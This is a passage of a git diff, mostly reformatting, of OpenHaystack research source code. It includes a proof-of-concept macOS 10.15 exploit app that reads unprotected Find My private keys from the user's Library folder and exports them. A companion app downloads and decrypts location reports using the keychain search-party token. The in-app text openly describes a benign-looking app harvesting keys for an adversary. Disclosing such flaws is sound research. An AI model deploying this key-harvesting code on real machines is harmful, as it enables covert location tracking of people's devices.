||||
}
|
||||
|
||||
func updateNSViewController(_ nsViewController: MapViewController, context: Context) {
|
||||
nsViewController.addLocationsReports(from: findMyController.devices)
|
||||
}
|
||||
func updateNSViewController(_ nsViewController: MapViewController, context: Context) {
|
||||
nsViewController.addLocationsReports(from: findMyController.devices)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,51 +1,55 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Cocoa
|
||||
import MapKit
|
||||
|
||||
final class MapViewController: NSViewController, MKMapViewDelegate {
|
||||
@IBOutlet weak var mapView: MKMapView!
|
||||
var pinsShown = false
|
||||
@IBOutlet weak var mapView: MKMapView!
|
||||
var pinsShown = false
|
||||
|
||||
override func viewDidLoad() {
|
||||
super.viewDidLoad()
|
||||
self.mapView.delegate = self
|
||||
override func viewDidLoad() {
|
||||
super.viewDidLoad()
|
||||
self.mapView.delegate = self
|
||||
}
|
||||
|
||||
func addLocationsReports(from devices: [FindMyDevice]) {
|
||||
if !self.mapView.annotations.isEmpty {
|
||||
self.mapView.removeAnnotations(self.mapView.annotations)
|
||||
}
|
||||
|
||||
func addLocationsReports(from devices: [FindMyDevice]) {
|
||||
if !self.mapView.annotations.isEmpty {
|
||||
self.mapView.removeAnnotations(self.mapView.annotations)
|
||||
}
|
||||
|
||||
// Zoom to first location
|
||||
if let location = devices.first?.decryptedReports?.first {
|
||||
let coordinate = CLLocationCoordinate2D(latitude: location.latitude, longitude: location.longitude)
|
||||
let span = MKCoordinateSpan(latitudeDelta: 5.0, longitudeDelta: 5.0)
|
||||
let region = MKCoordinateRegion(center: coordinate, span: span)
|
||||
|
||||
self.mapView.setRegion(region, animated: true)
|
||||
}
|
||||
|
||||
// Add pins
|
||||
for device in devices {
|
||||
|
||||
guard let reports = device.decryptedReports else {continue}
|
||||
for report in reports {
|
||||
let pin = MKPointAnnotation()
|
||||
pin.title = device.deviceId
|
||||
pin.coordinate = CLLocationCoordinate2D(latitude: report.latitude, longitude: report.longitude)
|
||||
self.mapView.addAnnotation(pin)
|
||||
}
|
||||
}
|
||||
// Zoom to first location
|
||||
if let location = devices.first?.decryptedReports?.first {
|
||||
let coordinate = CLLocationCoordinate2D(
|
||||
latitude: location.latitude, longitude: location.longitude)
|
||||
let span = MKCoordinateSpan(latitudeDelta: 5.0, longitudeDelta: 5.0)
|
||||
let region = MKCoordinateRegion(center: coordinate, span: span)
|
||||
|
||||
self.mapView.setRegion(region, animated: true)
|
||||
}
|
||||
|
||||
func changeMapType(_ mapType: MKMapType) {
|
||||
self.mapView.mapType = mapType
|
||||
// Add pins
|
||||
for device in devices {
|
||||
|
||||
guard let reports = device.decryptedReports else { continue }
|
||||
for report in reports {
|
||||
let pin = MKPointAnnotation()
|
||||
pin.title = device.deviceId
|
||||
pin.coordinate = CLLocationCoordinate2D(
|
||||
latitude: report.latitude, longitude: report.longitude)
|
||||
self.mapView.addAnnotation(pin)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func changeMapType(_ mapType: MKMapType) {
|
||||
self.mapView.mapType = mapType
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,196 +1,210 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
struct OFFetchReportsMainView: View {
|
||||
|
||||
@Environment(\.findMyController) var findMyController
|
||||
@Environment(\.findMyController) var findMyController
|
||||
|
||||
@State var targetedDrop: Bool = false
|
||||
@State var error: Error?
|
||||
@State var showMap = false
|
||||
@State var loading = false
|
||||
@State var targetedDrop: Bool = false
|
||||
@State var error: Error?
|
||||
@State var showMap = false
|
||||
@State var loading = false
|
||||
|
||||
@State var searchPartyToken: Data?
|
||||
@State var searchPartyTokenString: String = ""
|
||||
@State var keyPlistFile: Data?
|
||||
@State var searchPartyToken: Data?
|
||||
@State var searchPartyTokenString: String = ""
|
||||
@State var keyPlistFile: Data?
|
||||
|
||||
@State var showTokenPrompt = false
|
||||
@State var showTokenPrompt = false
|
||||
|
||||
var dropView: some View {
|
||||
ZStack(alignment: .center) {
|
||||
HStack {
|
||||
Spacer()
|
||||
Spacer()
|
||||
}
|
||||
var dropView: some View {
|
||||
ZStack(alignment: .center) {
|
||||
HStack {
|
||||
Spacer()
|
||||
Spacer()
|
||||
}
|
||||
|
||||
VStack {
|
||||
Spacer()
|
||||
Text("Drop exported keys here")
|
||||
.font(Font.system(size: 44, weight: .bold, design: .default))
|
||||
.padding()
|
||||
VStack {
|
||||
Spacer()
|
||||
Text("Drop exported keys here")
|
||||
.font(Font.system(size: 44, weight: .bold, design: .default))
|
||||
.padding()
|
||||
|
||||
Text("The keys can be exported into the right format using the Read FindMy Keys App.")
|
||||
.font(.body)
|
||||
.multilineTextAlignment(.center)
|
||||
.padding()
|
||||
Text("The keys can be exported into the right format using the Read FindMy Keys App.")
|
||||
.font(.body)
|
||||
.multilineTextAlignment(.center)
|
||||
.padding()
|
||||
|
||||
Spacer()
|
||||
}
|
||||
}
|
||||
.background(
|
||||
RoundedRectangle(cornerRadius: 20.0)
|
||||
.stroke(Color.gray, style: StrokeStyle(lineWidth: 5.0, lineCap: .round, lineJoin: .round, miterLimit: 10, dash: [15]))
|
||||
)
|
||||
Spacer()
|
||||
}
|
||||
}
|
||||
.background(
|
||||
RoundedRectangle(cornerRadius: 20.0)
|
||||
.stroke(
|
||||
Color.gray,
|
||||
style: StrokeStyle(
|
||||
lineWidth: 5.0, lineCap: .round, lineJoin: .round, miterLimit: 10, dash: [15]))
|
||||
)
|
||||
.padding()
|
||||
.onDrop(of: ["public.file-url"], isTargeted: self.$targetedDrop) { (droppedData) -> Bool in
|
||||
return self.droppedData(data: droppedData)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
var loadingView: some View {
|
||||
VStack {
|
||||
Text("Downloading locations and decrypting...")
|
||||
.font(Font.system(size: 44, weight: .bold, design: .default))
|
||||
.padding()
|
||||
.onDrop(of: ["public.file-url"], isTargeted: self.$targetedDrop) { (droppedData) -> Bool in
|
||||
return self.droppedData(data: droppedData)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
var loadingView: some View {
|
||||
VStack {
|
||||
Text("Downloading locations and decrypting...")
|
||||
.font(Font.system(size: 44, weight: .bold, design: .default))
|
||||
.padding()
|
||||
}
|
||||
}
|
||||
/// This view is shown if the search party token cannot be accessed from keychain
|
||||
var missingSearchPartyTokenView: some View {
|
||||
VStack {
|
||||
Text("Search Party token could not be fetched")
|
||||
Text("Please paste the search party token below after copying it from the macOS Keychain.")
|
||||
Text("The item that contains the key can be found by searching for: ")
|
||||
Text("com.apple.account.DeviceLocator.search-party-token")
|
||||
.font(.system(Font.TextStyle.body, design: Font.Design.monospaced))
|
||||
|
||||
/// This view is shown if the search party token cannot be accessed from keychain
|
||||
var missingSearchPartyTokenView: some View {
|
||||
VStack {
|
||||
Text("Search Party token could not be fetched")
|
||||
Text("Please paste the search party token below after copying it from the macOS Keychain.")
|
||||
Text("The item that contains the key can be found by searching for: ")
|
||||
Text("com.apple.account.DeviceLocator.search-party-token")
|
||||
.font(.system(Font.TextStyle.body, design: Font.Design.monospaced))
|
||||
|
||||
TextField("Search Party Token", text: self.$searchPartyTokenString)
|
||||
|
||||
Button(action: {
|
||||
if !self.searchPartyTokenString.isEmpty,
|
||||
let file = self.keyPlistFile,
|
||||
let searchPartyToken = self.searchPartyTokenString.data(using: .utf8) {
|
||||
self.searchPartyToken = searchPartyToken
|
||||
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
|
||||
}
|
||||
}, label: {
|
||||
Text("Download reports")
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
var mapView: some View {
|
||||
ZStack {
|
||||
MapView()
|
||||
VStack {
|
||||
HStack {
|
||||
Spacer()
|
||||
Button(action: {
|
||||
self.showMap = false
|
||||
self.showTokenPrompt = false
|
||||
}, label: {
|
||||
Text("Import other tokens")
|
||||
})
|
||||
|
||||
Button(action: {
|
||||
self.exportDecryptedLocations()
|
||||
|
||||
}, label: {
|
||||
Text("Export")
|
||||
})
|
||||
|
||||
}
|
||||
.padding()
|
||||
Spacer()
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
var body: some View {
|
||||
GeometryReader { geo in
|
||||
if self.loading {
|
||||
self.loadingView
|
||||
} else if self.showMap {
|
||||
self.mapView
|
||||
} else if self.showTokenPrompt {
|
||||
self.missingSearchPartyTokenView
|
||||
} else {
|
||||
self.dropView
|
||||
.frame(width: geo.size.width, height: geo.size.height)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// swiftlint:disable identifier_name
|
||||
func droppedData(data: [NSItemProvider]) -> Bool {
|
||||
guard let itemProvider = data.first else {return false}
|
||||
|
||||
itemProvider.loadItem(forTypeIdentifier: "public.file-url", options: nil) { (u, _) in
|
||||
guard let urlData = u as? Data,
|
||||
let fileURL = URL(dataRepresentation: urlData, relativeTo: nil),
|
||||
// Only plist supported
|
||||
fileURL.pathExtension == "plist",
|
||||
// Load the file
|
||||
let file = try? Data(contentsOf: fileURL)
|
||||
else {return}
|
||||
|
||||
print("Received data \(fileURL)")
|
||||
|
||||
self.keyPlistFile = file
|
||||
let reportsFetcher = ReportsFetcher()
|
||||
self.searchPartyToken = reportsFetcher.fetchSearchpartyToken()
|
||||
|
||||
if let searchPartyToken = self.searchPartyToken {
|
||||
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
|
||||
} else {
|
||||
self.showTokenPrompt = true
|
||||
}
|
||||
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func downloadAndDecryptLocations(with keyFile: Data, searchPartyToken: Data) {
|
||||
self.loading = true
|
||||
|
||||
self.findMyController.loadPrivateKeys(from: keyFile, with: searchPartyToken, completion: { error in
|
||||
// Check if an error occurred
|
||||
guard error == nil else {
|
||||
self.error = error
|
||||
return
|
||||
}
|
||||
|
||||
// Show map view
|
||||
self.loading = false
|
||||
self.showMap = true
|
||||
TextField("Search Party Token", text: self.$searchPartyTokenString)
|
||||
|
||||
Button(
|
||||
action: {
|
||||
if !self.searchPartyTokenString.isEmpty,
|
||||
let file = self.keyPlistFile,
|
||||
let searchPartyToken = self.searchPartyTokenString.data(using: .utf8)
|
||||
{
|
||||
self.searchPartyToken = searchPartyToken
|
||||
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
|
||||
}
|
||||
},
|
||||
label: {
|
||||
Text("Download reports")
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func exportDecryptedLocations() {
|
||||
do {
|
||||
let devices = self.findMyController.devices
|
||||
let deviceData = try PropertyListEncoder().encode(devices)
|
||||
var mapView: some View {
|
||||
ZStack {
|
||||
MapView()
|
||||
VStack {
|
||||
HStack {
|
||||
Spacer()
|
||||
Button(
|
||||
action: {
|
||||
self.showMap = false
|
||||
self.showTokenPrompt = false
|
||||
},
|
||||
label: {
|
||||
Text("Import other tokens")
|
||||
})
|
||||
|
||||
SavePanel().saveFile(file: deviceData, fileExtension: "plist")
|
||||
Button(
|
||||
action: {
|
||||
self.exportDecryptedLocations()
|
||||
|
||||
},
|
||||
label: {
|
||||
Text("Export")
|
||||
})
|
||||
|
||||
} catch {
|
||||
print("Error: \(error)")
|
||||
}
|
||||
.padding()
|
||||
Spacer()
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
var body: some View {
|
||||
GeometryReader { geo in
|
||||
if self.loading {
|
||||
self.loadingView
|
||||
} else if self.showMap {
|
||||
self.mapView
|
||||
} else if self.showTokenPrompt {
|
||||
self.missingSearchPartyTokenView
|
||||
} else {
|
||||
self.dropView
|
||||
.frame(width: geo.size.width, height: geo.size.height)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// swiftlint:disable identifier_name
|
||||
func droppedData(data: [NSItemProvider]) -> Bool {
|
||||
guard let itemProvider = data.first else { return false }
|
||||
|
||||
itemProvider.loadItem(forTypeIdentifier: "public.file-url", options: nil) { (u, _) in
|
||||
guard let urlData = u as? Data,
|
||||
let fileURL = URL(dataRepresentation: urlData, relativeTo: nil),
|
||||
// Only plist supported
|
||||
fileURL.pathExtension == "plist",
|
||||
// Load the file
|
||||
let file = try? Data(contentsOf: fileURL)
|
||||
else { return }
|
||||
|
||||
print("Received data \(fileURL)")
|
||||
|
||||
self.keyPlistFile = file
|
||||
let reportsFetcher = ReportsFetcher()
|
||||
self.searchPartyToken = reportsFetcher.fetchSearchpartyToken()
|
||||
|
||||
if let searchPartyToken = self.searchPartyToken {
|
||||
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
|
||||
} else {
|
||||
self.showTokenPrompt = true
|
||||
}
|
||||
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func downloadAndDecryptLocations(with keyFile: Data, searchPartyToken: Data) {
|
||||
self.loading = true
|
||||
|
||||
self.findMyController.loadPrivateKeys(
|
||||
from: keyFile, with: searchPartyToken,
|
||||
completion: { error in
|
||||
// Check if an error occurred
|
||||
guard error == nil else {
|
||||
self.error = error
|
||||
return
|
||||
}
|
||||
|
||||
// Show map view
|
||||
self.loading = false
|
||||
self.showMap = true
|
||||
|
||||
})
|
||||
}
|
||||
|
||||
func exportDecryptedLocations() {
|
||||
do {
|
||||
let devices = self.findMyController.devices
|
||||
let deviceData = try PropertyListEncoder().encode(devices)
|
||||
|
||||
SavePanel().saveFile(file: deviceData, fileExtension: "plist")
|
||||
|
||||
} catch {
|
||||
print("Error: \(error)")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct ContentView_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
OFFetchReportsMainView()
|
||||
}
|
||||
static var previews: some View {
|
||||
OFFetchReportsMainView()
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
//https://github.com/Matchstic/ReProvision/issues/96#issuecomment-551928795
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
#import "ReportsFetcher.h"
|
||||
#import <Security/Security.h>
|
||||
|
||||
@@ -1,47 +1,50 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import AppKit
|
||||
import Foundation
|
||||
|
||||
class SavePanel: NSObject, NSOpenSavePanelDelegate {
|
||||
|
||||
static let shared = SavePanel()
|
||||
static let shared = SavePanel()
|
||||
|
||||
var fileToSave: Data?
|
||||
var fileExtension: String?
|
||||
var panel: NSSavePanel?
|
||||
var fileToSave: Data?
|
||||
var fileExtension: String?
|
||||
var panel: NSSavePanel?
|
||||
|
||||
func saveFile(file: Data, fileExtension: String) {
|
||||
self.fileToSave = file
|
||||
self.fileExtension = fileExtension
|
||||
func saveFile(file: Data, fileExtension: String) {
|
||||
self.fileToSave = file
|
||||
self.fileExtension = fileExtension
|
||||
|
||||
self.panel = NSSavePanel()
|
||||
self.panel?.delegate = self
|
||||
self.panel?.title = "Export Find My Locations"
|
||||
self.panel?.prompt = "Export"
|
||||
self.panel?.nameFieldLabel = "Find My Locations"
|
||||
self.panel?.nameFieldStringValue = "findMyLocations.plist"
|
||||
self.panel?.allowedFileTypes = ["plist"]
|
||||
self.panel = NSSavePanel()
|
||||
self.panel?.delegate = self
|
||||
self.panel?.title = "Export Find My Locations"
|
||||
self.panel?.prompt = "Export"
|
||||
self.panel?.nameFieldLabel = "Find My Locations"
|
||||
self.panel?.nameFieldStringValue = "findMyLocations.plist"
|
||||
self.panel?.allowedFileTypes = ["plist"]
|
||||
|
||||
let result = self.panel?.runModal()
|
||||
|
||||
if result == NSApplication.ModalResponse.OK {
|
||||
// Save file
|
||||
let fileURL = self.panel?.url
|
||||
try! self.fileToSave?.write(to: fileURL!)
|
||||
}
|
||||
let result = self.panel?.runModal()
|
||||
|
||||
if result == NSApplication.ModalResponse.OK {
|
||||
// Save file
|
||||
let fileURL = self.panel?.url
|
||||
try! self.fileToSave?.write(to: fileURL!)
|
||||
}
|
||||
|
||||
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String? {
|
||||
guard okFlag else {return nil}
|
||||
}
|
||||
|
||||
return filename
|
||||
}
|
||||
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String?
|
||||
{
|
||||
guard okFlag else { return nil }
|
||||
|
||||
return filename
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,39 +1,41 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Cocoa
|
||||
import SwiftUI
|
||||
import CoreLocation
|
||||
import SwiftUI
|
||||
|
||||
@NSApplicationMain
|
||||
class AppDelegate: NSObject, NSApplicationDelegate {
|
||||
|
||||
var window: NSWindow!
|
||||
var window: NSWindow!
|
||||
|
||||
func applicationDidFinishLaunching(_ aNotification: Notification) {
|
||||
// Create the SwiftUI view that provides the window contents.
|
||||
let contentView = ContentView()
|
||||
func applicationDidFinishLaunching(_ aNotification: Notification) {
|
||||
// Create the SwiftUI view that provides the window contents.
|
||||
let contentView = ContentView()
|
||||
|
||||
// Create the window and set the content view.
|
||||
window = NSWindow(
|
||||
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
|
||||
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
|
||||
backing: .buffered, defer: false)
|
||||
window.center()
|
||||
window.setFrameAutosaveName("Main Window")
|
||||
window.contentView = NSHostingView(rootView: contentView)
|
||||
window.makeKeyAndOrderFront(nil)
|
||||
}
|
||||
// Create the window and set the content view.
|
||||
window = NSWindow(
|
||||
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
|
||||
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
|
||||
backing: .buffered, defer: false)
|
||||
window.center()
|
||||
window.setFrameAutosaveName("Main Window")
|
||||
window.contentView = NSHostingView(rootView: contentView)
|
||||
window.makeKeyAndOrderFront(nil)
|
||||
}
|
||||
|
||||
func applicationWillTerminate(_ aNotification: Notification) {
|
||||
// Insert code here to tear down your application
|
||||
}
|
||||
func applicationWillTerminate(_ aNotification: Notification) {
|
||||
// Insert code here to tear down your application
|
||||
}
|
||||
|
||||
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
|
||||
return true
|
||||
}
|
||||
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,88 +1,95 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import OSLog
|
||||
import SwiftUI
|
||||
|
||||
struct ContentView: View {
|
||||
|
||||
@State var keysInfo: String?
|
||||
@State var keysInfo: String?
|
||||
|
||||
var body: some View {
|
||||
ZStack {
|
||||
VStack {
|
||||
Spacer()
|
||||
var body: some View {
|
||||
ZStack {
|
||||
VStack {
|
||||
Spacer()
|
||||
|
||||
self.infoText
|
||||
.padding()
|
||||
self.infoText
|
||||
.padding()
|
||||
|
||||
Button(action: {
|
||||
self.readPrivateKeys()
|
||||
}, label: {
|
||||
Text("Read private offline finding keys")
|
||||
.font(.headline)
|
||||
.foregroundColor(Color.black)
|
||||
.padding()
|
||||
.background(
|
||||
RoundedRectangle(cornerRadius: 7.0)
|
||||
.fill(Color(white: 7.0).opacity(0.7))
|
||||
.shadow(color: Color.black, radius: 10.0, x: 0, y: 0)
|
||||
)
|
||||
Button(
|
||||
action: {
|
||||
self.readPrivateKeys()
|
||||
},
|
||||
label: {
|
||||
Text("Read private offline finding keys")
|
||||
.font(.headline)
|
||||
.foregroundColor(Color.black)
|
||||
.padding()
|
||||
.background(
|
||||
RoundedRectangle(cornerRadius: 7.0)
|
||||
.fill(Color(white: 7.0).opacity(0.7))
|
||||
.shadow(color: Color.black, radius: 10.0, x: 0, y: 0)
|
||||
)
|
||||
|
||||
})
|
||||
.buttonStyle(PlainButtonStyle())
|
||||
|
||||
self.keysInfo.map { (keysInfo) in
|
||||
Text(keysInfo)
|
||||
.padding()
|
||||
}
|
||||
|
||||
Spacer()
|
||||
|
||||
}
|
||||
}
|
||||
)
|
||||
.buttonStyle(PlainButtonStyle())
|
||||
|
||||
self.keysInfo.map { (keysInfo) in
|
||||
Text(keysInfo)
|
||||
.padding()
|
||||
}
|
||||
.frame(width: 800, height: 600)
|
||||
|
||||
Spacer()
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
.frame(width: 800, height: 600)
|
||||
|
||||
var infoText: some View {
|
||||
// swiftlint:disable line_length
|
||||
Text("This application demonstrates an exploit in macOS 10.15.0 - 10.15.6. It reads unprotected private key files that are used to locate lost devices using Apple's Offline Finding (Find My network). The application exports these key files for a demonstrative purpose. Used in the wild, an adversary would be able to download accurate location data of") +
|
||||
Text(" all ").bold() +
|
||||
Text("Apple devices of the current user.\n\n") +
|
||||
Text("To download the location reports for the exported key files, please use the OFFetchReports app. In our adversary model this app would be placed on an adversary owned Mac while the OFReadKeys might be a benign looking app installed by any user.")
|
||||
// swiftlint:enable line_length
|
||||
}
|
||||
|
||||
var infoText: some View {
|
||||
// swiftlint:disable line_length
|
||||
Text(
|
||||
"This application demonstrates an exploit in macOS 10.15.0 - 10.15.6. It reads unprotected private key files that are used to locate lost devices using Apple's Offline Finding (Find My network). The application exports these key files for a demonstrative purpose. Used in the wild, an adversary would be able to download accurate location data of"
|
||||
) + Text(" all ").bold() + Text("Apple devices of the current user.\n\n")
|
||||
+ Text(
|
||||
"To download the location reports for the exported key files, please use the OFFetchReports app. In our adversary model this app would be placed on an adversary owned Mac while the OFReadKeys might be a benign looking app installed by any user."
|
||||
)
|
||||
// swiftlint:enable line_length
|
||||
}
|
||||
|
||||
func readPrivateKeys() {
|
||||
|
||||
do {
|
||||
let devices = try FindMyKeyExtractor.readPrivateKeys()
|
||||
let numberOfKeys = devices.reduce(0, { $0 + $1.keys.count })
|
||||
self.keysInfo = "Found \(numberOfKeys) key files from \(devices.count) devices."
|
||||
self.saveExportedKeys(keys: devices)
|
||||
} catch {
|
||||
os_log(.error, "Could not load keys %@", error.localizedDescription)
|
||||
}
|
||||
}
|
||||
|
||||
func readPrivateKeys() {
|
||||
|
||||
do {
|
||||
let devices = try FindMyKeyExtractor.readPrivateKeys()
|
||||
let numberOfKeys = devices.reduce(0, {$0 + $1.keys.count})
|
||||
self.keysInfo = "Found \(numberOfKeys) key files from \(devices.count) devices."
|
||||
self.saveExportedKeys(keys: devices)
|
||||
} catch {
|
||||
os_log(.error, "Could not load keys %@", error.localizedDescription)
|
||||
}
|
||||
}
|
||||
|
||||
func saveExportedKeys(keys: [FindMyDevice]) {
|
||||
do {
|
||||
let keysPlist = try PropertyListEncoder().encode(keys)
|
||||
SavePanel().saveFile(file: keysPlist, fileExtension: "plist")
|
||||
} catch {
|
||||
os_log(.error, "Property list encoding failed %@", error.localizedDescription)
|
||||
}
|
||||
func saveExportedKeys(keys: [FindMyDevice]) {
|
||||
do {
|
||||
let keysPlist = try PropertyListEncoder().encode(keys)
|
||||
SavePanel().saveFile(file: keysPlist, fileExtension: "plist")
|
||||
} catch {
|
||||
os_log(.error, "Property list encoding failed %@", error.localizedDescription)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct ContentView_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
ContentView()
|
||||
}
|
||||
static var previews: some View {
|
||||
ContentView()
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,223 +1,233 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import CryptoKit
|
||||
import Foundation
|
||||
import OSLog
|
||||
|
||||
struct FindMyKeyExtractor {
|
||||
// swiftlint:disable identifier_name
|
||||
// swiftlint:disable identifier_name
|
||||
|
||||
/// This function reads the private keys of the Offline Finding Location system. They will
|
||||
/// - Throws: Error when accessing files fails
|
||||
/// - Returns: Devices and their respective keys
|
||||
static func readPrivateKeys() throws -> [FindMyDevice] {
|
||||
var devices = [FindMyDevice]()
|
||||
os_log(.debug, "Looking for keys")
|
||||
/// This function reads the private keys of the Offline Finding Location system. They will
|
||||
/// - Throws: Error when accessing files fails
|
||||
/// - Returns: Devices and their respective keys
|
||||
static func readPrivateKeys() throws -> [FindMyDevice] {
|
||||
var devices = [FindMyDevice]()
|
||||
os_log(.debug, "Looking for keys")
|
||||
|
||||
do {
|
||||
|
||||
// The key files have moved with macOS 10.15.4
|
||||
let macOS10_15_3Devices = try self.readFromOldLocation()
|
||||
devices.append(contentsOf: macOS10_15_3Devices)
|
||||
} catch {
|
||||
os_log(.error, "Did not find keys for 10.15.3\n%@", String(describing: error))
|
||||
}
|
||||
|
||||
do {
|
||||
// Tries to discover the new location of the keys
|
||||
let macOS10_15_4Devices = try self.findKeyFilesInNewLocation()
|
||||
devices.append(contentsOf: macOS10_15_4Devices)
|
||||
} catch {
|
||||
os_log(.error, "Did not find keys for 10.15.4\n%@", String(describing: error))
|
||||
}
|
||||
|
||||
return devices
|
||||
}
|
||||
|
||||
// MARK: - macOS 10.15.0 - 10.15.3
|
||||
|
||||
/// Reads the find my keys from the location used until macOS 10.15.3
|
||||
/// - Throws: An error if the location is no longer available (e.g. in macOS 10.15.4)
|
||||
/// - Returns: An array of find my devices including their keys
|
||||
static func readFromOldLocation() throws -> [FindMyDevice] {
|
||||
// Access the find my directory where the private advertisement keys are stored unencrypted
|
||||
let directoryPath = "com.apple.icloud.searchpartyd/PrivateAdvertisementKeys/"
|
||||
|
||||
let fm = FileManager.default
|
||||
let privateKeysPath = fm.urls(for: .libraryDirectory, in: .userDomainMask)
|
||||
.first?.appendingPathComponent(directoryPath)
|
||||
let folders = try fm.contentsOfDirectory(
|
||||
at: privateKeysPath!,
|
||||
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
||||
guard folders.isEmpty == false else { throw FindMyError.noFoldersFound }
|
||||
|
||||
print("Found \(folders.count) folders")
|
||||
var devices = [FindMyDevice]()
|
||||
|
||||
for folderURL in folders {
|
||||
let keyFiles = try fm.contentsOfDirectory(
|
||||
at: folderURL,
|
||||
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
||||
// Check if keys are available
|
||||
print("Found \(keyFiles.count) in folder \(folderURL.lastPathComponent)")
|
||||
guard keyFiles.isEmpty == false else { continue }
|
||||
var device = FindMyDevice(deviceId: folderURL.lastPathComponent)
|
||||
|
||||
for url in keyFiles {
|
||||
do {
|
||||
|
||||
// The key files have moved with macOS 10.15.4
|
||||
let macOS10_15_3Devices = try self.readFromOldLocation()
|
||||
devices.append(contentsOf: macOS10_15_3Devices)
|
||||
if url.pathExtension == "keys" {
|
||||
let keyPlist = try Data(contentsOf: url)
|
||||
let keyInfo = try self.parseKeyFile(keyFile: keyPlist)
|
||||
device.keys.append(keyInfo)
|
||||
}
|
||||
} catch {
|
||||
os_log(.error, "Did not find keys for 10.15.3\n%@", String(describing: error))
|
||||
print("Could not load key file ", error)
|
||||
}
|
||||
|
||||
do {
|
||||
// Tries to discover the new location of the keys
|
||||
let macOS10_15_4Devices = try self.findKeyFilesInNewLocation()
|
||||
devices.append(contentsOf: macOS10_15_4Devices)
|
||||
} catch {
|
||||
os_log(.error, "Did not find keys for 10.15.4\n%@", String(describing: error))
|
||||
}
|
||||
}
|
||||
|
||||
return devices
|
||||
devices.append(device)
|
||||
}
|
||||
|
||||
